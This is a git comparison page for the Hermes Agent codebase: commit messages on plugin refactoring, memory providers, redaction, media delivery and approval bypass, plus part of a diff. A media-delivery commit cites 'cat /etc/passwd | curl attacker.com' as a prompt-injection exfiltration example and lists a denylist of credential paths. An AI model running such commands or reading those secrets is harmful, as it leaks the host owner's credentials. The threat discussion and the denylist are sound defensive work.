Compare commits

..
Author SHA1 Message Date
ethernet 48a7e137b1 Merge origin/main into ethie/oh-god (pluginify refactor reconciliation)
Reconciles the "pluginify everything" refactor (moving provider adapters,
platform adapters, and terminal backends out of core into plugins/) with
267 commits of main. main had 515 edits across 635 files; our branch moved
98 files into plugins/. The dangerous class was main editing files at OLD
paths that we relocated — handled below.

STRUCTURAL DECISIONS
- ai-gateway + vercel_sandbox: honored main's PR #33067 deletion. Dropped our
  orphaned plugins/terminals/vercel/ dir and all 3 stale vercel refs that
  survived in pyproject (workspace member, [all] entry, uv source).
- tools/lazy_deps.py: kept main's version. Our branch deleted it incompletely
  (WIP) while main has 30 live callers + active maintenance. main's intent won.
- agent/agent_runtime_helpers.py: COMBINED — main's atomic swap+rollback
  snapshot envelope wraps our pluginified registries-based anthropic imports.
- agent/credential_pool.py: took our plugin-hook indirection AND ported main's
  api_key_path_explicit OAuth-masquerade security fix INTO the anthropic
  credential_pool_hook (it was pluginified from a pre-fix base and would have
  been silently dropped otherwise).
- hermes_cli/model_switch.py, hermes_cli/models.py: took main's logic
  (cached_provider_model_ids, AI-gateway removal) then re-applied our pluginify
  import rewrites (agent.bedrock_adapter/anthropic_adapter -> registries
  namespace lookups) since those modules moved to plugins.
- tools/terminal_tool.py: took main's version (vercel_sandbox deletion) then
  restored our lazy registry resolution for modal + daytona environments
  (both moved to plugins; main's direct imports would crash at runtime).
- nix/checks.nix: kept both — our hermetic-boundary checks + main's
  messaging-variant discord.py guard.
- pyproject.toml: plugin extras as workspace members (ours) + main's new wecom
  extra; vercel removed throughout.
- uv.lock: regenerated with `uv lock` (not hand-merged); 233 packages.

VERIFICATION
- Zero conflict markers anywhere.
- Exhaustive 17-moved-module grep: no dead imports of relocated modules in core.
- Import smoke test: all hot core modules import clean.
- Targeted tests (21 files incl. credential_pool, anthropic plugin,
  run_agent, project_metadata): pass.
- 3 credential_pool security tests rewired to register the real plugin hook
  (core tests don't trigger plugin discovery): pass.
- Full suite: remaining failures are pre-existing on premerge-oh-god (telegram
  collection error: setUpModule MagicMock __code__) or environmental (matrix
  DNS/e2ee-deps, network) — NOT introduced by this merge. See PR notes.
2026-05-28 17:57:55 -04:00
kshitij 11d93096b3 Merge pull request #34097 from kshitijk4poor/salvage/memori-trace-messages
feat: expose completed-turn message context to memory providers (salvage #28065)
2026-05-28 13:56:07 -07:00
kshitijk4poor d464d08a5f chore: add devwdave to AUTHOR_MAP
Maps both commit emails (david@memorilabs.ai, dave@devwdave.com) used on
#28065 to the devwdave GitHub account so the contributor audit in
scripts/release.py passes.
2026-05-29 02:16:43 +05:30
Dave Heritage 5a95fb2e14 feat: expose completed-turn message context to memory providers
Adds an optional `messages` keyword to the `MemoryProvider.sync_turn`
contract so external/community memory plugins can receive the OpenAI-style
conversation message list for the completed turn — including assistant tool
calls and tool result content — not just the final assistant text.

Dispatch uses signature inspection (`_provider_sync_accepts_messages`): only
providers that declare a `messages` parameter (or `**kwargs`) receive it; all
existing in-tree providers keep their legacy text-only signature and are
called unchanged. No structured-trace envelope is added to core — providers
reconstruct whatever they need from the standard message list.

Also documents Memori as a standalone community memory provider.

Salvaged from #28065 — rebased onto current main.

Co-authored-by: Dave Heritage <david@memorilabs.ai>
2026-05-29 02:16:43 +05:30
ethernet a08725e52a wipppppppppppppppppppppppppppppppp 2026-05-28 16:44:02 -04:00
Teknium ea5a6c216b ci(deploy): allow workflow_dispatch to also trigger Vercel deploy (#34081)
Today's three skills-index PRs (#33748, #33809, #34025) merged to main
but the live Vercel-hosted docs site didn't pick them up — Vercel is
fired by the deploy-vercel job, which was gated on release events only.
Out-of-band main commits between releases couldn't reach Vercel without
cutting a tag.

Widen the gate to also include workflow_dispatch so 'gh workflow run
deploy-site.yml' can ship pending main changes to Vercel on demand.
Release-tag behavior is unchanged.
2026-05-28 13:17:58 -07:00
kshitijk4poor 4df62d239e docs(hindsight): correct recall_types scope — tool path is also narrowed
The original change's description and README claimed the per-call
hindsight_recall tool was unaffected by the new observation-only default.
That is inaccurate: hindsight_recall reads the same self._recall_types
instance attribute as the auto-recall prefetch path, and RECALL_SCHEMA
exposes no per-call types argument, so the model cannot override it.
Narrowing the default narrows BOTH paths.

Corrects the README behavior-change note, the config-table row, and the
get_config_schema description to reflect that recall_types applies to
both auto-recall and the hindsight_recall tool.
2026-05-28 13:07:20 -07:00
Nicolò Boschi 490b3e76b1 feat(hindsight): default recall_types to observation only
Auto-recall used to surface every fact type Hindsight had on the
session — `world`, `experience`, and `observation`. That triple-ships
the same underlying signal in three different framings: observations
are the concrete events the user said/did/asked, while world and
experience facts are aggregate summaries Hindsight derives from those
exact observations. Including all three burns most of
`recall_max_tokens` on rephrasings, crowds out events the model
actually needs to see, and produces effective duplicates in the
prompt — observations themselves are deduplicated by construction
so observation-only recall is denser per token and closer to
conversational ground truth.

Change
------
- Default `_recall_types = ["observation"]` (was `None`, which
  delegated to server-side "return everything").
- `initialize()` now treats a missing `recall_types` config the same
  way; also accepts comma-separated strings for parity with `recall_tags`.
- An explicit `recall_types=[]` config falls back to the default rather
  than disabling the filter (would silently widen recall vs. the new
  default).
- Added to `get_config_schema()` so it's discoverable via `hermes config`.

Per-call `hindsight_recall` tool invocations are unaffected — they
already only forward `types` when the caller passes the argument.

Docs / migration
----------------
plugins/memory/hindsight/README.md grows a "Behavior change" callout
explaining the why (no-duplicates, information-efficient) and how to
restore the legacy broad recall:

    "recall_types": "observation,world,experience"   # or a JSON list

in `~/.hermes/hindsight/config.json`.

Tests
-----
- `test_default_values` updated for the new default.
- New cases: explicit list override, CSV string accepted, empty list
  falls back to default (not "wider than default").
2026-05-28 13:07:20 -07:00
teknium1 321ce94e25 test: update non-minimax overflow test to match new keep-context behavior
The old test asserted that a non-MiniMax provider returning a generic
overflow (no provider-reported max) would step down to the 128K probe
tier. The salvaged fix from #33673 deliberately removes that step-down
because guessed tiers cause configured 1M sessions to silently shrink.

Update the test to assert the new contract: keep the configured 200K
window and rely on compression instead.
2026-05-28 12:26:53 -07:00
teknium1 c5e496e1c0 chore: map yanghongda@jackyun.com -> yangguangjin in AUTHOR_MAP 2026-05-28 12:26:53 -07:00
yanghd 7a3c38d0b7 fix: stop probe stepdown without provider context limit 2026-05-28 12:26:53 -07:00
kshitijk4poor 5cbc3fbdcc fix(cli): /yolo in chat must enable session bypass, not just set env var
The CLI's in-chat `/yolo` toggle mutated `os.environ["HERMES_YOLO_MODE"]`
but had no effect because `tools/approval.py:_YOLO_MODE_FROZEN` captures
that env var once at module-import time (a deliberate security floor that
keeps prompt-injected skills from flipping the bypass mid-run). By the
time the user reaches `/yolo` in a running CLI session, `tools.approval`
has already been imported, so the env flip after that is a silent no-op.

Result: `/yolo` advertised "⚠ YOLO" in the status bar while every
dangerous command still hit the approval prompt or got denied.  Only
`hermes --yolo` (set before tool imports), `HERMES_YOLO_MODE=1 hermes ...`,
and `hermes config set approvals.mode off` actually bypassed.

This patches the CLI to match what the gateway and TUI `/yolo` handlers
already do, plus mirrors the TUI's session-rename YOLO transfer:

* `_toggle_yolo()` now calls `enable_session_yolo(self.session_id)` /
  `disable_session_yolo(self.session_id)` instead of touching the env
  var.  Matches `gateway/run.py:_handle_yolo_command` and the
  `tui_gateway/server.py` key=="yolo" branch.
* Around each `run_conversation()` call, `run_agent()` now binds
  `set_current_session_key(self.session_id)` so
  `tools.approval.is_current_session_yolo_enabled()` resolves against
  the same key the toggle writes under, and resets it in `finally` so
  reused threads don't see stale identity.  Matches the
  `tui_gateway/server.py` and `gateway/platforms/api_server.py` binding
  pattern.
* New `_transfer_session_yolo()` helper carries YOLO bypass state
  across `self.session_id` reassignments — `/branch` forking into a
  new session id and the auto-compression sync that rotates into a
  fresh continuation session id.  Without this, the same UX failure
  mode the rest of this fix addresses (silent `/yolo` no-op) would
  reappear after a single `/branch` or auto-compression event.
  Mirrors `tui_gateway/server.py` ~line 1297-1305.
* New `_is_session_yolo_active()` helper replaces the two
  `bool(os.getenv("HERMES_YOLO_MODE"))` reads in the status-bar
  builders, so the badge reflects the actual bypass state.  Uses
  `getattr(self, "session_id", None)` so status-bar test fixtures
  that bypass `__init__` via `HermesCLI.__new__(HermesCLI)` don't
  trip `AttributeError` (the builders swallow exceptions silently
  and lose every field after the failure).  Still honors
  `_YOLO_MODE_FROZEN` so `hermes --yolo` keeps lighting it up.

The `_YOLO_MODE_FROZEN` security freeze is preserved — env-var-based
opt-in still only works when set before process start, which is the
documented contract for `--yolo` / `HERMES_YOLO_MODE`.

Closes #33925
2026-05-28 12:10:21 -07:00
teknium1andandrewhosf f30db14ced fix(kanban): SIGTERM on worker must terminate the process (#28181)
The single-query signal handler in cli.py raises KeyboardInterrupt on
SIGTERM/SIGHUP. For interactive 'hermes chat -q' that unwinds the main
thread cleanly. For kanban workers spawned by the dispatcher, the
worker process is likely to have a non-daemon thread alive (terminal
_wait_for_process, custom plugins, etc.). With KeyboardInterrupt only
the main thread unwinds; the non-daemon thread keeps the process alive,
the gateway has already restarted, and the dispatcher's _pid_alive
check returns True forever — task stuck in 'running' indefinitely.

When HERMES_KANBAN_TASK is set (dispatcher-spawned worker), flush
logging + stdout/stderr, then os._exit(0) instead of raising
KeyboardInterrupt. The kernel reclaims the PID immediately, and the
existing zombie-state detection in _pid_alive flips the task to
crashed on the next dispatcher tick. detect_crashed_workers then
re-spawns it on the following tick — no manual recovery needed.

A SIGALRM(2s) deadman is armed before the flush so a pathological
blocking-I/O flush can't wedge the worker forever. In practice the
reporter measured flush in <1ms; the alarm is a failsafe, never
the common path.

Interactive (non-kanban) chat -q is unchanged — the env-gated branch
only fires for dispatcher-spawned workers.

Live verification on this machine:
- Without HERMES_KANBAN_TASK + non-daemon thread alive: process hangs
  alive 4+ seconds after SIGTERM. Dispatcher's _pid_alive returns
  True → task stuck.
- With HERMES_KANBAN_TASK + same non-daemon thread: process exits in
  0.10s via os._exit(0). Dispatcher reclaims on next tick.

Tests:
- tests/hermes_cli/test_signal_handler_kanban_worker.py (3 cases):
  end-to-end subprocess test with a non-daemon thread,
  HERMES_KANBAN_TASK env, SIGTERM, dispatcher-style _pid_alive check.
  Plus a source-level invariant test catching future refactors that
  drop the env-gated exit.
- 452/452 kanban tests pass.

Co-authored-by: andrewhosf <andrewho.sf@gmail.com>
2026-05-28 11:59:58 -07:00
Teknium 3a9bc9d88a fix(model picker): unify /model and hermes model lists, add disk cache (#33867)
* fix(model picker): unify /model and `hermes model` model lists, add disk cache

The /model slash picker and `hermes model` were drifting apart. /model
read the raw static `OPENROUTER_MODELS` list (31 entries, including 5
that fail at runtime — no tool-call support or absent from live catalog),
while `hermes model` ran the same list through the live OpenRouter
/v1/models tool-support filter and showed 26 valid entries. Same problem
existed for every other authed provider: /model used curated static
lists, `hermes model` used live /v1/models.

Unifies both surfaces on `provider_model_ids()` and adds a generic
disk-cached wrapper so the picker stays snappy.

Changes
- hermes_cli/models.py: new `cached_provider_model_ids()` —
  ~/.hermes/provider_models_cache.json, 1h TTL, per-provider entries
  keyed by credential fingerprint (env vars + OAuth file mtimes).
  Stale-data-beats-no-data on transient failures. Pair with
  `clear_provider_models_cache(provider=None)`.
- hermes_cli/models.py: `provider_model_ids("nous")` now falls back
  to the docs-hosted manifest (not the in-repo snapshot) when the live
  Portal /models call fails — preserves the model_catalog regression
  guarantee while still going through the unified pathway.
- hermes_cli/model_switch.py: `list_authenticated_providers` routes
  sections 1, 2, and 2b through `cached_provider_model_ids(slug)` with
  curated fallback when the live fetcher comes up empty.
- hermes_cli/model_switch.py: `parse_model_flags` extended to a
  4-tuple, parses `--refresh`.
- cli.py / gateway/run.py / tui_gateway/server.py: updated unpacking;
  CLI + gateway wire `--refresh` to `clear_provider_models_cache()`.
- hermes_cli/main.py: `hermes model --refresh` argparse flag.
- hermes_cli/commands.py: `/model` args_hint advertises `--refresh`.
- tests/hermes_cli/test_inventory.py: refresh stale comment.

Live PTY parity verification
- /model → OpenRouter row: `(26 models)` (was 31, with broken entries)
- `hermes model` → OpenRouter: 26 models (unchanged)
- The 5 dropped entries: `pareto-code` (no tool-call support),
  `gemini-3-pro-image-preview` (no tool-call support),
  `elephant-alpha`, `hy3-preview:free`, `ring-2.6-1t:free` (gone
  from OpenRouter's live catalog).

Live PTY timing
- First /model open, empty cache: 4624 ms (full network round trip
  across every authed provider)
- Second /model open, warm cache: 51 ms (90× faster)
- `/model --refresh` clears the disk cache and re-fetches.

Cache schema (~/.hermes/provider_models_cache.json, ~3 KB):
  { "anthropic": {"fp": "<sha256:16>", "at": 1748..., "models": [...]},
    ... }

Targeted tests: tests/hermes_cli/ + gateway model tests + tui_gateway —
5855/5855 pass.

* fix(model picker): use blake2b for cache fingerprint to silence CodeQL

py/weak-sensitive-data-hashing flagged the sha256 call in
_credential_fingerprint() as a high-severity alert because the input
includes env var values whose names contain *_API_KEY / *_TOKEN.

The hash is used solely as a cache-bust identity — never reversed, never
stored, collisions are harmless (worst case: cache miss → live re-fetch).
blake2b serves the same purpose and isn't flagged by this rule.

Functional behavior identical: 16-hex-char digest, cache hit/miss logic
unchanged. Live re-verified — 26 OpenRouter models, warm-cache 78ms.
2026-05-28 11:33:16 -07:00
Teknium 5f66c36470 fix(redact): pass web URLs through unchanged (#34029)
* fix(redact): pass web URLs through unchanged

Magic-link checkout URLs, OAuth callbacks the agent is meant to follow,
and pre-signed share URLs were getting `?token=***` / `?code=***` /
`?signature=***` blanket-redacted by parameter NAME, which breaks any
skill that has to round-trip a URL through history (the model's tool
call arguments get sanitized before persistence — the live call fires
with the real URL, but the next turn sees `***`).

Joe Rinaldi Johnson hit this with a checkout-acceleration skill that
uses magic links in URLs.

Drops three call sites from `redact_sensitive_text`:
- `_redact_url_query_params` (was redacting `access_token`, `token`,
  `api_key`, `code`, `signature`, `key`, `auth`, etc.)
- `_redact_url_userinfo` (was redacting `https://user:pass@host`)
- `_redact_http_request_target_query_params` (was redacting access-log
  request targets like `"POST /hook?password=... HTTP/1.1"`)

The helpers themselves are kept in the module — still importable by
anything that wants to opt in explicitly.

Still redacted (unchanged):
- Vendor-prefix credential shapes (sk-, ghp_, AKIA, gAAAA, etc.)
  anywhere they appear, including inside URLs — see the
  `test_known_prefix_inside_url_still_redacted` case.
- JWTs (`eyJ...`)
- DB connection-string passwords (`postgres://admin:pw@host`) —
  these are connection strings, not web URLs the agent navigates to.
- Authorization headers, ENV assignments, JSON `apiKey`/`token` fields,
  Telegram bot tokens, private key blocks, Discord mentions, E.164
  phone numbers, and form-urlencoded bodies (request bodies, not URLs).

Tests: replaces `TestUrlQueryParamRedaction` + `TestUrlUserinfoRedaction`
with `TestWebUrlsNotRedacted`, asserting representative URLs (OAuth
callback, magic link, S3 pre-signed, websocket, userinfo, access log)
pass through unchanged. Adds positive cases proving the prefix and DB
connstr nets still fire. 74 redact tests + 10 browser-exfil + 16 PII
redaction tests all pass.

* test(codex_app_server): drop URL-query assertion from stderr-tail redaction test

The test bundled (a) sk-live-* credential-prefix redaction with (b)
URL query-param redaction. (a) is still in effect via _PREFIX_RE;
(b) was the contract we just removed in the parent commit so the
'querysecret12345' assertion stopped holding. Keep the credential-shape
assertion, drop the URL-query one.

Send-message tool's local _URL_SECRET_QUERY_RE in tools/send_message_tool.py
is independent of agent/redact.py and unchanged — its tests
(test_top_level_send_failure_redacts_query_token,
test_http_error_redacts_access_token_in_exception_text) still pass.
2026-05-28 11:32:39 -07:00
Teknium 7a8589e782 fix(gateway): default media-delivery validation to denylist-only, restore .md delivery (#34022)
PR #29523 restricted MEDIA: paths and bare local paths in agent output to
files under the Hermes media cache or an operator-allowlisted root, with
a 10-minute recency window as a fallback. The intent was to defend
against prompt-injection-driven exfiltration of host secrets, but in the
default single-user setup the asymmetry doesn't earn its keep: we accept
any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...)
and the agent already has terminal access — anything that can convince
it to emit a MEDIA: tag for /etc/passwd can equally convince it to
`cat /etc/passwd | curl attacker.com`.

Practical breakage: agents that produced an .md, .pdf, or other
artifact more than ~10 minutes ago, or outside the cache allowlist,
showed the user a raw filepath in chat instead of the file.

Default flipped to denylist-only:
  • /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run}
  • $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud}
  • macOS Library/Keychains
  • $HERMES_HOME/{.env, auth.json, credentials}

The legacy allowlist+recency-window behavior stays available via
opt-in: `gateway.strict: true` in config.yaml (or
`HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots
where prompt injection from one user shouldn't be able to exfiltrate
the host's secrets to that same user.

• `gateway/platforms/base.py` — `validate_media_delivery_path()`
  short-circuits to "return resolved if not under denylist" when
  strict is off. Strict mode preserves the original cache-then-
  allowlist-then-recency logic. New `_media_delivery_strict_mode()`
  reader for `HERMES_MEDIA_DELIVERY_STRICT`.
• `hermes_cli/config.py` — `gateway.strict: false` added to
  DEFAULT_CONFIG; existing keys documented as "only consulted in
  strict mode." No `_config_version` bump needed (deep-merge picks
  up the new default for old installs).
• `gateway/run.py` — bridges `gateway.strict` →
  `HERMES_MEDIA_DELIVERY_STRICT` at startup.
• `tools/send_message_tool.py` — schema description broadened back
  to plain "any local path."
• Tests — existing strict-path tests pinned to STRICT=1 so they keep
  exercising the legacy behavior; new `TestMediaDeliveryDefaultMode`
  with 8 cases covering the public default (stale .md accepted, any
  extension delivers, credential paths still blocked, strict env-var
  aliases, filter E2E).

Validation:
  - tests/gateway/test_platform_base.py: 119/119 pass
  - tests/gateway/test_tts_media_routing.py: 7/7 pass
  - tests/tools/test_send_message_tool.py: 121/121 pass
  - tests/hermes_cli/test_kanban_notify.py: 12/12 pass
  - tests/cron/test_scheduler.py: 120/120 pass
  - E2E via execute_code with real imports:
    • stale .md outside allowlist → accepted (default)
    • same path with STRICT=1 → rejected
    • $HOME/.ssh/id_rsa → rejected (default)
    • filter_local_delivery_paths([md, key]) → [md] only
    • gateway.strict in config.yaml → bridged to env (true=1, false=0)
2026-05-28 11:32:36 -07:00
Teknium 7050c052e3 fix(skills): pull full skills.sh catalog via sitemap (858 → 19,932) (#34025)
The skills.sh source was returning ~858 unique skills from a hardcoded
list of 28 popular keyword searches (each capped at 50 results). The
real catalog is ~20k — exposed via sitemap-skills-{1,2}.xml linked from
the site's sitemap index.

Switch the empty-query path in SkillsShSource.search() to walk the
sitemap instead of scraping the homepage's curated featured strip.
Falls back to the homepage scrape if the sitemap is unreachable.

build_skills_index.crawl_skills_sh() now just calls search("", limit=0)
instead of running 28 keyword searches — same result in one HTTP round
instead of 28.

Also handle a httpx + brotlicffi interaction: the per-skill sitemaps
are ~900 KB brotli-compressed and the cffi backend's streaming decode
chokes on them. Forcing Accept-Encoding to gzip dodges the bug without
requiring a brotli library upgrade.

E2E against live skills.sh: 19,932 unique skills walked in 0.7s.
Tests: 137 pass (+1 new regression test exercising the sitemap path).

Floor for skills.sh raised 100 → 10,000 in EXPECTED_FLOORS so a future
regression hard-fails the build.
2026-05-28 11:28:12 -07:00
Teknium b1d3ead7fb docs: tweak v0.15.0 release notes (#34037) 2026-05-28 11:20:52 -07:00
Teknium fe5c8ec4ad fix(dashboard): auto-reload SPA on stale-token 401 in loopback mode (#33861)
The dashboard's loopback auth uses an ephemeral '_SESSION_TOKEN' that
rotates on every server restart (hermes update, hermes gateway restart,
etc.). A tab kept open across the restart holds the OLD token in
window.__HERMES_SESSION_TOKEN__ from the previous HTML render, so every
'/api/*' fetch returns '401 Unauthorized' — surfacing in the UI as
'Failed to load Kanban board: 401: Unauthorized', 'Analytics 401', etc.
(#24186, #25275).

Before this patch the workaround was to manually clear site data or
hard-reload — annoying enough that users reported it as a regression
even though the token rotation is by design (security property:
stolen tokens can't survive a server restart).

The HTML response already sets 'Cache-Control: no-store, no-cache,
must-revalidate', so a reload reliably picks up the freshly-injected
token. fetchJSON now triggers that reload automatically on the first
loopback-mode 401, guarded by a sessionStorage flag so a genuine
auth bug (where even the new token fails) falls through to throw
on the second attempt instead of reload-looping. The flag is
cleared on any 2xx so a subsequent server restart in the same tab
gets its own reload cycle.

Gated mode is unaffected — that path already redirects to login_url
via the structured 401 envelope (Phase 6), and the new code is
explicitly skipped when window.__HERMES_AUTH_REQUIRED__ is set.

Refs #24186, #25275
2026-05-28 10:53:23 -07:00
ethernet 10421ec9ee wip wip wip pluginify everything 2026-05-26 10:29:50 -04:00
353 changed files with 72879 additions and 6669 deletions
+6 -1
View File
@@ -22,7 +22,12 @@ concurrency:
jobs:
deploy-vercel:
if: github.event_name == 'release'
# Triggered automatically on release publish (production cuts) and
# manually via `gh workflow run deploy-site.yml` when an out-of-band
# main commit needs to ship live before the next release tag — e.g.
# a skills-index PR that doesn't touch website/** paths and so
# doesn't auto-deploy via the deploy-docs path.
if: github.event_name == 'release' || github.event_name == 'workflow_dispatch'
runs-on: ubuntu-latest
steps:
- name: Trigger Vercel Deploy
+19
View File
@@ -200,3 +200,22 @@ jobs:
- name: Run footgun checker
run: python scripts/check-windows-footguns.py --all
plugin-isolation:
# Enforce that core code and core tests never import from plugin packages.
# Core must interact with plugins exclusively through the registry layer.
# See scripts/check_no_plugin_imports_in_core.py for the rule list.
name: Plugin isolation (blocking)
runs-on: ubuntu-latest
timeout-minutes: 5
steps:
- name: Checkout code
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Set up Python
uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v5
with:
python-version: "3.11"
- name: Run plugin isolation checker
run: python scripts/check_no_plugin_imports_in_core.py
+2 -3
View File
@@ -48,7 +48,7 @@ agent-browser/
privvy*
images/
__pycache__/
hermes_agent.egg-info/
*.egg-info
wandb/
testlogs
@@ -87,8 +87,7 @@ website/static/api/skills-meta.json
models-dev-upstream/
hermes_cli/tui_dist/*
hermes_cli/scripts/
docs/superpowers/*
# Working directory for the Hermes Agent's session state (~/.hermes/ at runtime;
docs/superpowers/*# Working directory for the Hermes Agent's session state (~/.hermes/ at runtime;
# also created in-repo when an agent operates in this checkout). Plans, audit
# logs, and per-session caches are never artifacts of the codebase.
.hermes/
+144 -57
View File
@@ -29,7 +29,9 @@ hermes-agent/
├── hermes_constants.py # get_hermes_home(), display_hermes_home() — profile-aware paths
├── hermes_logging.py # setup_logging() — agent.log / errors.log / gateway.log (profile-aware)
├── batch_runner.py # Parallel batch processing
├── _build_backend.py # Custom PEP 517 build backend — inlines plugin deps at wheel build time
├── agent/ # Agent internals (provider adapters, memory, caching, compression, etc.)
│ └── plugin_registries.py # Typed capability registries (auth, transport, platform, tool, model_metadata)
├── hermes_cli/ # CLI subcommands, setup wizard, plugins loader, skin engine
├── tools/ # Tool implementations — auto-discovered via tools/registry.py
│ └── environments/ # Terminal backends (local, docker, ssh, modal, daytona, singularity)
@@ -39,16 +41,20 @@ hermes-agent/
│ │ # dingtalk, wecom, weixin, feishu, qqbot, bluebubbles,
│ │ # yuanbao, webhook, api_server, ...). See ADDING_A_PLATFORM.md.
│ └── builtin_hooks/ # Extension point for always-registered gateway hooks (none shipped)
├── plugins/ # Plugin system (see "Plugins" section below)
├── plugins/ # Plugin packages — uv workspace members (see "Plugins" section)
│ ├── model-providers/ # anthropic, bedrock, azure-foundry (own pyproject.toml each)
│ ├── platforms/ # telegram, slack, discord, feishu, dingtalk, matrix
│ ├── tts/ # Text-to-speech plugin
│ ├── stt/ # Speech-to-text plugin
│ ├── image_gen/ # FAL image generation
│ ├── terminals/ # daytona, modal, vercel
│ ├── web/ # exa, firecrawl, parallel
│ ├── memory/ # Memory-provider plugins (honcho, mem0, supermemory, ...)
│ ├── context_engine/ # Context-engine plugins
│ ├── model-providers/ # Inference backend plugins (openrouter, anthropic, gmi, ...)
│ ├── kanban/ # Multi-agent board dispatcher + worker plugin
│ ├── hermes-achievements/ # Gamified achievement tracking
│ ├── observability/ # Metrics / traces / logs plugin
── image_gen/ # Image-generation providers
│ └── <others>/ # disk-cleanup, example-dashboard, google_meet, platforms,
│ # spotify, strike-freedom-cockpit, ...
── <others>/ # dashboard, google_meet, spotify, strike-freedom-cockpit, ...
├── optional-skills/ # Heavier/niche skills shipped but NOT active by default
├── skills/ # Built-in skills bundled with the repo
├── ui-tui/ # Ink (React) terminal UI — `hermes --tui`
@@ -486,9 +492,102 @@ Activate with `/skin cyberpunk` or `display.skin: cyberpunk` in config.yaml.
## Plugins
Hermes has two plugin surfaces. Both live under `plugins/` in the repo so
repo-shipped plugins can be discovered alongside user-installed ones in
`~/.hermes/plugins/` and pip-installed entry points.
Hermes uses a **plugin-first architecture**: every optional capability (model
providers, platform adapters, TTS/STT, terminal backends, image generation)
lives in its own installable Python package under `plugins/`. The core
codebase (`agent/`, `hermes_cli/`, `gateway/`, `tools/`) **never** imports
from a `hermes_agent_*` plugin package directly. Instead, plugins register
their capabilities into typed registries during `register()`, and the core
queries those registries at runtime.
Full architecture doc: `website/docs/developer-guide/plugin-architecture.md`
### Workspace layout
All 21 builtin plugins are uv workspace members — each has its own
`pyproject.toml` (single source of truth for deps), `plugin.yaml`
(directory-scanner manifest for dev mode), and `hermes_agent_<name>/` package
with `register(ctx)`:
```
plugins/
├── model-providers/ # anthropic, bedrock, azure-foundry
├── platforms/ # telegram, slack, discord, feishu, dingtalk, matrix
├── tts/ # text-to-speech (Edge TTS + ElevenLabs)
├── stt/ # speech-to-text
├── image_gen/fal_pkg/ # FAL image generation
├── terminals/ # daytona, modal, vercel
├── web/ # exa, firecrawl, parallel
├── memory/ # honcho, hindsight
├── dashboard/ # streamlit dashboard
└── hermes-achievements/ # gamified achievement tracking
```
### The hermetic core boundary
Core code MUST NOT import from `hermes_agent_*` packages. Instead it queries
typed registries in `agent/plugin_registries.py`:
```python
# ❌ BAD — core directly imports plugin
from hermes_agent_bedrock import has_aws_credentials
# ✅ GOOD — core queries the registry
from agent.plugin_registries import registries
bedrock_auth = registries.get_auth_provider("bedrock")
```
Registry types: `auth_providers`, `transport_builders`, `platform_adapters`,
`tool_providers`, `model_metadata`, `credential_pools`.
Each plugin's `register(ctx)` populates the registries via `ctx.register_*()`:
- `ctx.register_auth_provider(name, provider, ...)`
- `ctx.register_transport(name, builder, ...)`
- `ctx.register_platform(name, label, adapter_factory, check_fn, ...)`
- `ctx.register_tool_provider(entry, ...)`
- `ctx.register_model_metadata(entry, ...)`
- `ctx.register_credential_pool(entry, ...)`
- Plus existing: `register_tool()`, `register_hook()`, `register_cli_command()`,
`register_tts_provider()`, `register_transcription_provider()`,
`register_image_gen_provider()`, `register_video_gen_provider()`,
`register_context_engine()`
### Plugin discovery
Three discovery paths (same as before, now workspace-aware):
1. **Directory scanner**`plugins/`, `~/.hermes/plugins/`, `.hermes/plugins/`
(looks for `plugin.yaml`)
2. **Entry points**`[project.entry-points."hermes_agent.plugins"]`
3. **uv workspace**`uv sync --extra <name>` installs the plugin into venv
### Dependency management
- Each plugin's `pyproject.toml` is the **only** place its deps are declared
- Root `pyproject.toml` maps extras to workspace members:
`telegram = ["hermes-agent-telegram"]`
- `uv.lock` resolves the whole workspace (236 packages)
- No `LAZY_DEPS`, no `ensure()`, no runtime `pip install`
- Custom PEP 517 build backend (`_build_backend.py`) inlines plugin deps
at wheel build time for PyPI publishing
### NixOS
`loadWorkspace` discovers all workspace members from `uv.lock` automatically.
`mkVirtualEnv { hermes-agent = ["all"] }` installs all plugins. Select specific
plugins with `extraDependencyGroups = ["telegram", "anthropic"]`.
### Tests
Plugin tests live in `plugins/<category>/<name>/tests/`. The test runner
discovers both `tests/` and `plugins/`. Running plugin tests requires the
plugin to be installed (`uv sync --extra <name>`).
### The rule
**If it can be a plugin, it must be a plugin.** Adding optional capabilities
to core files is a code review rejection. If the plugin surface doesn't
support what you need, extend the surface (new registry type, new hook, new
`ctx` method) — don't inline the capability.
### General plugins (`hermes_cli/plugins.py` + `plugins/<name>/`)
@@ -531,9 +630,14 @@ providers don't clutter `hermes --help`.
**Rule (Teknium, May 2026):** plugins MUST NOT modify core files
(`run_agent.py`, `cli.py`, `gateway/run.py`, `hermes_cli/main.py`, etc.).
If a plugin needs a capability the framework doesn't expose, expand the
generic plugin surface (new hook, new ctx method) — never hardcode
plugin-specific logic into core. PR #5295 removed 95 lines of hardcoded
honcho argparse from `main.py` for exactly this reason.
generic plugin surface (new hook, new ctx method, new registry type) — never
hardcode plugin-specific logic into core. PR #5295 removed 95 lines of
hardcoded honcho argparse from `main.py` for exactly this reason.
**Hermetic core boundary (May 2026):** core code (`agent/`, `hermes_cli/`,
`gateway/`, `tools/`) MUST NOT import from `hermes_agent_*` plugin packages.
Use the typed registries in `agent/plugin_registries.py` instead. See the
**Plugins** section below for the full list of registry types.
**No new in-tree memory providers (policy, May 2026):** the set of
built-in memory providers under `plugins/memory/` is closed. New memory
@@ -1011,40 +1115,41 @@ def profile_env(tmp_path, monkeypatch):
## Testing
**ALWAYS use `scripts/run_tests.sh`** — do not call `pytest` directly. The script enforces
hermetic environment parity with CI (unset credential vars, TZ=UTC, LANG=C.UTF-8,
`-n auto` xdist workers, in-tree subprocess-isolation plugin). Direct `pytest`
on a 16+ core developer machine with API keys set diverges from CI in ways
that have caused multiple "works locally, fails in CI" incidents (and the reverse).
**ALWAYS use `scripts/run_tests.sh`** — do NOT call `pytest` directly on a directory.
The script enforces hermetic environment parity with CI and provides per-file
process isolation that prevents registry singleton / module-level state leakage
between test files.
```bash
scripts/run_tests.sh # full suite, CI-parity
scripts/run_tests.sh tests/gateway/ # one directory
scripts/run_tests.sh tests/agent/test_foo.py # one file
scripts/run_tests.sh tests/agent/test_foo.py::test_x # one test
scripts/run_tests.sh -v --tb=long # pass-through pytest flags
